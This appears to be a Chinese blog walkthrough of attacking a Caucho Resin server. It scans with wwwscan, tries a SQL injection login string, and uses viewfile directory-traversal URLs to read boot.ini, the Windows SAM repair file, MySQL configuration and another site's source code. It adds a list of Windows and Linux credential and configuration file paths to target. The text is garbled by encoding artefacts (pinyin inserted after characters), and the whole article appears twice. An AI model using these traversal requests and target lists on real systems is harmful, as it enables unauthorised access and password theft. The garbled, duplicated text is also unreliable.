1 前言
記得有次面試,考官問道“你認(rèn)為對Resin服務(wù)器發(fā)動攻擊有難度嗎?如果是你,會利用什么攻擊方法呢?” ,很具體的技術(shù)細(xì)節(jié),還記得回答是,“我認(rèn)為針對Resin攻擊是很容易的,當(dāng)然要視具體的安全狀況而定,完全的因人環(huán)境而異,如果是我選擇對Resin對進(jìn)行攻擊,我會根據(jù)版本的漏洞列表,進(jìn)行測試攻擊。”考官一笑而過,估計給雷倒了。Resin提供了最快的Jsp/servets運(yùn)行平臺。在Java和JavaScrip的支持下,Resin可以為任務(wù)靈活選用合適的開發(fā)語言,Resin的一種先進(jìn)的語言XSL(XML stylesheet language)可以使得形式和內(nèi)容相分離。Resin以其良好的速度正在受到許多商業(yè)站點(diǎn)的歡迎。但其安全性卻往往讓人遺忘。
2 漏洞分析
正如老先生所說的,“世上本無路,走的人多也就成了路”,在漏洞面前來理解大概就能這樣說了“世上本無漏洞,挖掘人多也就有了”,細(xì)數(shù)Resin漏洞如下:
2007-05-16 Caucho Resin多個遠(yuǎn)程信息泄露漏洞
2006-05-17 Caucho Resin viewfile遠(yuǎn)程文件及路徑泄露漏洞
2004-02-13 Caucho Technology Resin源代碼和目錄列表泄露漏洞
2002-07-26 Caucho Technology Resin Server設(shè)備名遠(yuǎn)程路徑泄露漏洞
2002-07-01 Caucho Resin WEB服務(wù)器程序遠(yuǎn)程路徑泄露漏洞
2002-06-28 Caucho Technology Resin服務(wù)程序遠(yuǎn)程拒絕服務(wù)攻擊漏洞
2001-02-26 Caucho Technology Resin 目錄遍歷漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源碼泄漏
從上面可以看出來,多數(shù)是文件和目錄泄漏洞,在日常管理和安全設(shè)置能更有針對性,防止敏感信息泄露,無論是攻防都應(yīng)該從以下方面去考慮:
1) 數(shù)據(jù)庫的敏感信息泄漏
2) 操作系統(tǒng)的敏感信息泄漏
3) 腳本的敏感信息泄漏
4) Resin的敏感信泄漏
所以說,有針對性的研究和總結(jié)應(yīng)用的漏洞,在攻防的角度,都具有很實(shí)際的價值。作為一個滲透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在獲取系統(tǒng)信息,一般用telnet或mstsc簡單測試,或者常規(guī)掃描器,比如X-Scan、天鏡、榕基。
看來沒有前人種的小黃瓜了,完全是出于對人品的測試。
腳本信息獲取
對WEB服務(wù)刺探,常用掃描器有wwwscan、wvs、appscan等,了解主機(jī)上的網(wǎng)站架構(gòu)和網(wǎng)站目錄是很關(guān)鍵的一步。對主機(jī)的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都沒有返回呀,訪問目錄:
看來系統(tǒng)管理員相當(dāng)?shù)淖孕艊D!人品測試?yán)^續(xù),分析一下返回的數(shù)據(jù)包:
由圖可知:Resin的版本是3.0.21
對主機(jī)的另一個網(wǎng)站進(jìn)行目錄掃描,有點(diǎn)結(jié)果了。有個“admin_manage”目錄存在,進(jìn)入口進(jìn)行注入行測試,提交“admin’ or ‘’=’”,結(jié)果卻暴露其路徑“D:\webtest\admin_manage\include\head.php”。
在PHP配置時,去除錯誤調(diào)試,用到的參數(shù)是display_errors,這個參數(shù)主要是幫助開發(fā)者定位和確定程序錯誤,直接修改php.ini文件,設(shè)置display_errors=Off。
數(shù)據(jù)庫信息獲取
針對數(shù)據(jù)庫的探測,快速的方法有特定端口掃描、手工探測。當(dāng)然也有常規(guī)的針對數(shù)據(jù)庫的掃描工具不在本文的討論范圍。
端口探測
一般數(shù)據(jù)庫都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探測
手工探測最多用的大概是通過向網(wǎng)頁提交畸形數(shù)據(jù)導(dǎo)致數(shù)據(jù)庫直接暴錯,根據(jù)返回的錯誤信息進(jìn)行確認(rèn)。另一種方法,就是通知各個數(shù)據(jù)庫注釋符的不一致來判別。
比如“;”“–”“/*”。
信息綜合分析
通過上次的信息綜合整理可得:
系統(tǒng):windows 2003
數(shù)據(jù)庫:mysql
Apache:2.2.6
PHP:5.2.4
主機(jī)上其中有使用PHP架設(shè)的站點(diǎn),其路徑是:
D:\webroot\admin_manage\include\head.php
攻擊測試
信息泄漏漏洞
在2007年時候,Resin暴出遠(yuǎn)程信息泄露漏洞,其公告如下:
影響版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows實(shí)現(xiàn)上存在多個漏洞,遠(yuǎn)程攻擊者可能利用此漏洞非授權(quán)獲取敏感信息。Resin沒有正確過濾通過URL傳送的輸入,允許遠(yuǎn)程攻擊者通過在URL中提供有任意擴(kuò)展名的DOS設(shè)備文件名從系統(tǒng)上的任意COM或LPT設(shè)備讀取連續(xù)的數(shù)據(jù)流、通過目錄遍歷攻擊泄露Web應(yīng)用的WEB-INF目錄中的文件內(nèi)容,或通過包含有特殊字符的URL泄露到Caucho Resin服務(wù)器的完整系統(tǒng)路徑。Resin的某個CGI程序?qū)崿F(xiàn)上存在輸入驗(yàn)證漏洞,遠(yuǎn)程攻擊者可能利用此漏洞讀取Web主目錄下的任意文件,包括JSP源碼或類文件。viewfile servlet可以無需參數(shù)在Web主目錄中瀏覽任意文件。
3.5.1.2 測試過程
通過漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet來對系統(tǒng)文件操作。測試提交URL:
列出了,Web-inf目錄的文件,直接下class文件進(jìn)行反Java文件。
介紹一個反Javar 的工具“Java Decompiler”,它由C++開發(fā),支持對整個jar,Javar的編譯。如圖:
在編譯后,沒有發(fā)現(xiàn)敏感信息,直接用viewfile去讀取目錄下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
讀取目錄下的index.Jsp文件。
按程序的邏輯讀取源文件,居然也沒有發(fā)現(xiàn)敏感信息。繼續(xù)去讀取系統(tǒng)文件試試。
提交URL,讀取系統(tǒng)文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再來讀取系統(tǒng)文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次對敏感文件進(jìn)行讀取測試,一般的默認(rèn)路徑有:
Win:
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數(shù)據(jù)庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機(jī)網(wǎng)站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存儲了WINDOWS系統(tǒng)初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
/usr/local/app/php5/lib/php.ini //PHP相關(guān)設(shè)置
/etc/sysconfig/iptables //從中得到防火墻規(guī)則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統(tǒng)版本
/etc/issue
/etc/issue.net
依次提交語句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如圖:
終于獲取了些敏感信息了。當(dāng)然直接讀取另一個網(wǎng)站的源代碼也是可以的。
提交讀取語句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
讀取源代碼成功。本文僅作測試,希望能給大家在滲透時提供些思路。從測試還是可以看到系統(tǒng)管理員對安全設(shè)置的忽視。應(yīng)用程序的補(bǔ)丁是安全防護(hù)的第一道門,而許多的系統(tǒng)管理員卻不太愿意安裝,正如安全短板的理論,一個木桶由許多塊木板組成,如果這些木板長短不一,那么這個木桶的最大容量就取決于其中最短的那塊木板了。
記得有次面試,考官問道“你認(rèn)為對Resin服務(wù)器發(fā)動攻擊有難度嗎?如果是你,會利用什么攻擊方法呢?” ,很具體的技術(shù)細(xì)節(jié),還記得回答是,“我認(rèn)為針對Resin攻擊是很容易的,當(dāng)然要視具體的安全狀況而定,完全的因人環(huán)境而異,如果是我選擇對Resin對進(jìn)行攻擊,我會根據(jù)版本的漏洞列表,進(jìn)行測試攻擊。”考官一笑而過,估計給雷倒了。Resin提供了最快的Jsp/servets運(yùn)行平臺。在Java和JavaScrip的支持下,Resin可以為任務(wù)靈活選用合適的開發(fā)語言,Resin的一種先進(jìn)的語言XSL(XML stylesheet language)可以使得形式和內(nèi)容相分離。Resin以其良好的速度正在受到許多商業(yè)站點(diǎn)的歡迎。但其安全性卻往往讓人遺忘。
2 漏洞分析
正如老先生所說的,“世上本無路,走的人多也就成了路”,在漏洞面前來理解大概就能這樣說了“世上本無漏洞,挖掘人多也就有了”,細(xì)數(shù)Resin漏洞如下:
2007-05-16 Caucho Resin多個遠(yuǎn)程信息泄露漏洞
2006-05-17 Caucho Resin viewfile遠(yuǎn)程文件及路徑泄露漏洞
2004-02-13 Caucho Technology Resin源代碼和目錄列表泄露漏洞
2002-07-26 Caucho Technology Resin Server設(shè)備名遠(yuǎn)程路徑泄露漏洞
2002-07-01 Caucho Resin WEB服務(wù)器程序遠(yuǎn)程路徑泄露漏洞
2002-06-28 Caucho Technology Resin服務(wù)程序遠(yuǎn)程拒絕服務(wù)攻擊漏洞
2001-02-26 Caucho Technology Resin 目錄遍歷漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源碼泄漏
從上面可以看出來,多數(shù)是文件和目錄泄漏洞,在日常管理和安全設(shè)置能更有針對性,防止敏感信息泄露,無論是攻防都應(yīng)該從以下方面去考慮:
1) 數(shù)據(jù)庫的敏感信息泄漏
2) 操作系統(tǒng)的敏感信息泄漏
3) 腳本的敏感信息泄漏
4) Resin的敏感信泄漏
所以說,有針對性的研究和總結(jié)應(yīng)用的漏洞,在攻防的角度,都具有很實(shí)際的價值。作為一個滲透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在獲取系統(tǒng)信息,一般用telnet或mstsc簡單測試,或者常規(guī)掃描器,比如X-Scan、天鏡、榕基。
看來沒有前人種的小黃瓜了,完全是出于對人品的測試。
腳本信息獲取
對WEB服務(wù)刺探,常用掃描器有wwwscan、wvs、appscan等,了解主機(jī)上的網(wǎng)站架構(gòu)和網(wǎng)站目錄是很關(guān)鍵的一步。對主機(jī)的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都沒有返回呀,訪問目錄:
看來系統(tǒng)管理員相當(dāng)?shù)淖孕艊D!人品測試?yán)^續(xù),分析一下返回的數(shù)據(jù)包:
由圖可知:Resin的版本是3.0.21
對主機(jī)的另一個網(wǎng)站進(jìn)行目錄掃描,有點(diǎn)結(jié)果了。有個“admin_manage”目錄存在,進(jìn)入口進(jìn)行注入行測試,提交“admin’ or ‘’=’”,結(jié)果卻暴露其路徑“D:\webtest\admin_manage\include\head.php”。
在PHP配置時,去除錯誤調(diào)試,用到的參數(shù)是display_errors,這個參數(shù)主要是幫助開發(fā)者定位和確定程序錯誤,直接修改php.ini文件,設(shè)置display_errors=Off。
數(shù)據(jù)庫信息獲取
針對數(shù)據(jù)庫的探測,快速的方法有特定端口掃描、手工探測。當(dāng)然也有常規(guī)的針對數(shù)據(jù)庫的掃描工具不在本文的討論范圍。
端口探測
一般數(shù)據(jù)庫都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探測
手工探測最多用的大概是通過向網(wǎng)頁提交畸形數(shù)據(jù)導(dǎo)致數(shù)據(jù)庫直接暴錯,根據(jù)返回的錯誤信息進(jìn)行確認(rèn)。另一種方法,就是通知各個數(shù)據(jù)庫注釋符的不一致來判別。
比如“;”“–”“/*”。
信息綜合分析
通過上次的信息綜合整理可得:
系統(tǒng):windows 2003
數(shù)據(jù)庫:mysql
Apache:2.2.6
PHP:5.2.4
主機(jī)上其中有使用PHP架設(shè)的站點(diǎn),其路徑是:
D:\webroot\admin_manage\include\head.php
攻擊測試
信息泄漏漏洞
在2007年時候,Resin暴出遠(yuǎn)程信息泄露漏洞,其公告如下:
影響版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows實(shí)現(xiàn)上存在多個漏洞,遠(yuǎn)程攻擊者可能利用此漏洞非授權(quán)獲取敏感信息。Resin沒有正確過濾通過URL傳送的輸入,允許遠(yuǎn)程攻擊者通過在URL中提供有任意擴(kuò)展名的DOS設(shè)備文件名從系統(tǒng)上的任意COM或LPT設(shè)備讀取連續(xù)的數(shù)據(jù)流、通過目錄遍歷攻擊泄露Web應(yīng)用的WEB-INF目錄中的文件內(nèi)容,或通過包含有特殊字符的URL泄露到Caucho Resin服務(wù)器的完整系統(tǒng)路徑。Resin的某個CGI程序?qū)崿F(xiàn)上存在輸入驗(yàn)證漏洞,遠(yuǎn)程攻擊者可能利用此漏洞讀取Web主目錄下的任意文件,包括JSP源碼或類文件。viewfile servlet可以無需參數(shù)在Web主目錄中瀏覽任意文件。
3.5.1.2 測試過程
通過漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet來對系統(tǒng)文件操作。測試提交URL:
列出了,Web-inf目錄的文件,直接下class文件進(jìn)行反Java文件。
介紹一個反Javar 的工具“Java Decompiler”,它由C++開發(fā),支持對整個jar,Javar的編譯。如圖:
在編譯后,沒有發(fā)現(xiàn)敏感信息,直接用viewfile去讀取目錄下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
讀取目錄下的index.Jsp文件。
按程序的邏輯讀取源文件,居然也沒有發(fā)現(xiàn)敏感信息。繼續(xù)去讀取系統(tǒng)文件試試。
提交URL,讀取系統(tǒng)文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再來讀取系統(tǒng)文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次對敏感文件進(jìn)行讀取測試,一般的默認(rèn)路徑有:
Win:
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數(shù)據(jù)庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機(jī)網(wǎng)站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存儲了WINDOWS系統(tǒng)初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
/usr/local/app/php5/lib/php.ini //PHP相關(guān)設(shè)置
/etc/sysconfig/iptables //從中得到防火墻規(guī)則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統(tǒng)版本
/etc/issue
/etc/issue.net
依次提交語句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如圖:
終于獲取了些敏感信息了。當(dāng)然直接讀取另一個網(wǎng)站的源代碼也是可以的。
提交讀取語句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
讀取源代碼成功。本文僅作測試,希望能給大家在滲透時提供些思路。從測試還是可以看到系統(tǒng)管理員對安全設(shè)置的忽視。應(yīng)用程序的補(bǔ)丁是安全防護(hù)的第一道門,而許多的系統(tǒng)管理員卻不太愿意安裝,正如安全短板的理論,一個木桶由許多塊木板組成,如果這些木板長短不一,那么這個木桶的最大容量就取決于其中最短的那塊木板了。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
